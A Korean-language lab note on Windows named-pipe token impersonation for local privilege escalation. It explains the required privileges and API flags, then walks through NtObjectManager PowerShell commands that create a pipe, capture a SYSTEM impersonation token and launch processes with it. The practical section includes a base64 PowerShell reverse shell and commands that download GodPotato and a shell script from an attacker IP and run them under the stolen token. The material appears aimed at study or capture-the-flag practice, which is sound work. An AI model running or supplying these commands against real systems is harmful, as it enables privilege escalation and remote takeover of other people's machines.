■ Pipe : 프로세스간 IPS 통신수단의 일종
서버가 명명된 파이프를 생성하면 클라이언트는 파이프의 이름을 지정하여 프로세스간 통신 시작
■ 공격 조건 :
- 취약한 API(CreateFile)를 가지고 있는 프로세스(프로그램) 존재
or - 공격자 계정이 SeImpersonatePrivilege 권한을 보유
■ 공격 원리 :
- 공격자(서버) : 명명된 파이프 생성
- 타겟(클라이언트) : 취약한 API(CreateFile)를 가지고 있는 프로세스(프로그램)
클라이언트가 서버 파이프에 접속할 때 사용하는 “CreateFile” API 에 “SecurityImpersonation | SecurityDelegation” 파라미터가
설정되어 있다면, 서버는 클라이언트의 access token 을 Impersonation token으로 위임받을 수 있고 클라이언트의 권한으로 가장이 가능함. 획득한 impersonate token 을 본인의 Primary Token으로 복제하여 시스템 권한 상승(LPE) 가능함.
1. 공격자는 명명된 파이프를 생성하고
2. NETWORK SERVER / SYSTEM 권한으로 실행되는 프로그램이 공격자의 파이프 서버로 접속하도록 하는 악성 페이로드 작성
3. 공격자는 해당 프로그램의 Impersonation Token 획득 후 권한 상승 성공
※ Impersonation token : Windows 의 모든 프로세스는 Access Token 을 가지고 있음. 프로세스의 고유 Access Token 은 Primay Token 이며 프로세스가 종료될때까지 변하지 않음. 프로세스 하위에 생성된 쓰레드는 Primary token, Impersonation Token 두가지를 가질 수 있는데, Impersonation Token 은 타 프로세스 참조를 위해 그 프로세스의 Access Token을 위임받아 사용하는 것임.
조건 : 공격자 계정이 SeImpersonatePrivilege 권한을 보유 or 타 프로세스에서 “SecurityImpersonation | SecurityDelegation” 허용 (파라미터 설정)이 필요함
※ 명명된 파이프 서버 쓰레드는 “ImpersonateNamedPipeClient” 함수를 실행하여 클라이언트 Access Token을 Impersonation Token으로 가장
■ 실습
원리 : NT Authority\SYSTEM(파이프 클라이언트)으로 실행되는 Windows 서비스를 생성하고 악성 페이로드(파이프 서버)가 생성한 명명된 파이프에 연결하는 것입니다.
Install NtObjectManager module
Import-Module NtObjectManager -Force
1) 명명된 파이프 생성
$pipe = New-NtNamedPipeFile \.\pipe\ABC -Win32Path
2) 파이프 리스닝 상태로 설정
$job = Start-Job { $pipe.Listen() }
3) 로컬호스트 경로로 파이프의 핸들에 연결 (UNC 경로(네트워크 경로)는 사용할 수 없음)
$client = Get-NtFile \localhost\pipe\ABC -Win32Path
4) 작업 완료 대기
Wait-Job $job | Out-Null
5) Impersonate and extract the diff session token
$token = Use-NtObject($pipe.Impersonate()) { Get-NtToken -Impersonation }
6) Display the privileges from the new session token
$token.Privileges
7-1) With that impersonation token in hand, spawn a new process
New-Win32Process -CommandLine ‘cmd.exe /c whoami /priv 2>&1 > /programdata/output.txt’ -token $token
7-2) With that impersonation token in hand, Excute Reverse shell
//PowerShell Base64 reverse shell
New-Win32Process -CommandLine “powershell -e JABj…” -Token $token -CreationFlags NewConsole
//Use GodPhotato : https://github.com/BeichenDream/GodPotato
iwr http://10.10.14.16/GodPotato-NET4.exe -outfile gp.exe //upload GodPhotato
iwr http://10.10.14.16/shell.ps1 -outfile shell.ps1 //upload PowerShell Reverse Shell
New-Win32Process -Commandline ‘C:\programdata\gp.exe -cmd “powershell C:\programdata\shell.ps1 2>&1″‘ -token $token
참고 링크
- https://bherunda.medium.com/hunting-named-pipe-token-impersonation-abuse-573dcca36ae0
- https://www.tiraniddo.dev/2020/04/sharing-logon-session-little-too-much.html
- https://www.revshells.com/